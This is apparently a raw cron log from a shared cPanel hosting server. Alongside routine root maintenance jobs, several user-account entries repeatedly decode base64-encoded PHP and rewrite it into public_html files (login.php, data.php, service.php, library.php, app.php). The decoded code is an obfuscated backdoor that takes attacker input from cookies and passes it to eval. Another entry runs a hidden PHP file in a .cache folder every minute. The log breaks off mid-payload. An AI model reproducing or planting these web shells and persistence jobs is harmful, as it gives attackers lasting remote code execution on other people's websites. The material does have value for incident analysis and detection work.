Mar  1 09:50:01 medusa CROND[7190]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:50:01 medusa CROND[7196]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:50:01 medusa CROND[7198]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7189]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 09:50:01 medusa CROND[7182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:50:01 medusa CROND[7188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:50:01 medusa CROND[7213]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:50:01 medusa CROND[7215]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:50:02 medusa CROND[7200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:50:02 medusa CROND[7184]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:50:02 medusa CROND[7202]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 09:50:02 medusa CROND[7206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 09:50:02 medusa CROND[7227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:51:01 medusa CROND[28726]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:51:01 medusa CROND[28804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:51:01 medusa CROND[28806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:51:01 medusa CROND[28807]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:51:01 medusa CROND[28809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:51:01 medusa CROND[28808]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:51:01 medusa CROND[28810]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:51:01 medusa CROND[28811]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:51:01 medusa CROND[28812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:51:01 medusa CROND[28817]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:51:01 medusa CROND[28820]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:51:01 medusa CROND[28821]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:51:01 medusa CROND[28824]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:51:01 medusa CROND[28813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:51:01 medusa CROND[28819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:52:01 medusa CROND[18564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:52:01 medusa CROND[18623]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:52:01 medusa CROND[18624]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:52:01 medusa CROND[18625]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:52:01 medusa CROND[18626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:52:01 medusa CROND[18627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:52:01 medusa CROND[18628]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:52:01 medusa CROND[18629]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:52:01 medusa CROND[18631]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnb